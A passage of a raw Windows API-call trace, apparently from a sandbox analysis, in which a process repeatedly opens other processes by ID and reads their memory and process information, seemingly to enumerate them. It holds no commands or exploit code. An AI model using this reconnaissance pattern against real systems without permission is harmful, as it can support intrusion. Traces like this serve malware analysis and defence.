lpBuffer=0xec7e80*, lpNumberOfBytesRead=0x0) returned 1 [0344.015] free (_Block=0xec7e80) [0344.015] CloseHandle (hObject=0xa9c) returned 1 [0344.015] _ui64tow_s (in: _Value=0x644, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1604") returned 0x0 [0344.015] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1604") returned 4 [0344.016] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.016] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.016] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0xa9c [0344.016] GetLastError () returned 0x0 [0344.016] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.017] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.020] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.020] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.020] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.021] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.021] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.021] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.021] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.021] malloc (_Size=0x8a) returned 0xec7200 [0344.021] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7200, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7200*, lpNumberOfBytesRead=0x0) returned 1 [0344.022] free (_Block=0xec7200) [0344.022] CloseHandle (hObject=0xa9c) returned 1 [0344.022] _ui64tow_s (in: _Value=0x650, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1616") returned 0x0 [0344.022] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1616") returned 4 [0344.022] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.023] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.023] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x650) returned 0xa9c [0344.023] GetLastError () returned 0x0 [0344.023] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.024] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x380018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.024] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.024] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.024] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.024] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.024] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.024] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x380020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.025] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.025] malloc (_Size=0x8a) returned 0xec7b60 [0344.025] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7b60, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7b60*, lpNumberOfBytesRead=0x0) returned 1 [0344.025] free (_Block=0xec7b60) [0344.026] CloseHandle (hObject=0xa9c) returned 1 [0344.026] _ui64tow_s (in: _Value=0x674, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1652") returned 0x0 [0344.026] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1652") returned 4 [0344.026] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.026] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.027] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x674) returned 0xa9c [0344.027] GetLastError () returned 0x0 [0344.027] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.027] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x306018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.027] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.027] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.028] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.028] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.028] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.028] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x306020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.028] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.028] malloc (_Size=0x60) returned 0xeb6460 [0344.028] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb6460, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6460*, lpNumberOfBytesRead=0x0) returned 1 [0344.029] free (_Block=0xeb6460) [0344.030] CloseHandle (hObject=0xa9c) returned 1 [0344.030] _ui64tow_s (in: _Value=0x6fc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1788") returned 0x0 [0344.030] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1788") returned 4 [0344.030] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.030] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.031] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6fc) returned 0xa9c [0344.031] GetLastError () returned 0x0 [0344.031] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.031] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x37e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.031] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.031] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2480, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.032] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2118, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.032] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.032] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.032] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x37e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.032] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.041] malloc (_Size=0x42) returned 0xea7c50 [0344.041] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2158, lpBuffer=0xea7c50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea7c50*, lpNumberOfBytesRead=0x0) returned 1 [0344.042] free (_Block=0xea7c50) [0344.042] CloseHandle (hObject=0xa9c) returned 1 [0344.042] _ui64tow_s (in: _Value=0x734, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1844") returned 0x0 [0344.043] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1844") returned 4 [0344.043] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.043] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x734) returned 0xa9c [0344.044] GetLastError () returned 0x0 [0344.044] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.044] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x215018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.044] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.044] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.044] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.044] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.045] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.045] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x215020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.045] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.045] malloc (_Size=0x8a) returned 0xec7ca0 [0344.045] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7ca0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7ca0*, lpNumberOfBytesRead=0x0) returned 1 [0344.045] free (_Block=0xec7ca0) [0344.046] CloseHandle (hObject=0xa9c) returned 1 [0344.046] _ui64tow_s (in: _Value=0x820, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2080") returned 0x0 [0344.046] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2080") returned 4 [0344.046] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.046] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.047] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0xa9c [0344.047] GetLastError () returned 0x0 [0344.047] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.047] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x249018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.047] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.047] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.048] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.051] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.051] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.051] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x249020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.052] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.052] malloc (_Size=0x84) returned 0xe87ee0 [0344.052] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xe87ee0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87ee0*, lpNumberOfBytesRead=0x0) returned 1 [0344.052] free (_Block=0xe87ee0) [0344.053] CloseHandle (hObject=0xa9c) returned 1 [0344.053] _ui64tow_s (in: _Value=0x8e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2272") returned 0x0 [0344.053] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2272") returned 4 [0344.053] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.053] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.054] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0xa9c [0344.054] GetLastError () returned 0x0 [0344.054] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.054] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3b1018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.054] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.054] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422560, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.055] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422228, lpBuffer=0x5ec5a0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.055] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.055] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.055] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3b1020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.055] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x421be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.056] malloc (_Size=0x18) returned 0xec97c0 [0344.056] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422266, lpBuffer=0xec97c0, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec97c0*, lpNumberOfBytesRead=0x0) returned 1 [0344.056] free (_Block=0xec97c0) [0344.056] CloseHandle (hObject=0xa9c) returned 1 [0344.147] _ui64tow_s (in: _Value=0x8f0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2288") returned 0x0 [0344.148] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2288") returned 4 [0344.148] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0xcc877a17, dwBuildNumber=0x7fff, dwPlatformId=0x15aacc0, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.148] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.149] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8f0) returned 0xa9c [0344.149] GetLastError () returned 0x0 [0344.149] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.149] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c8018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.149] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.149] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403de0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.149] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.149] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.150] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.150] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c8020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.150] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.150] malloc (_Size=0x6a) returned 0xea96a0 [0344.150] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a78, lpBuffer=0xea96a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea96a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.151] free 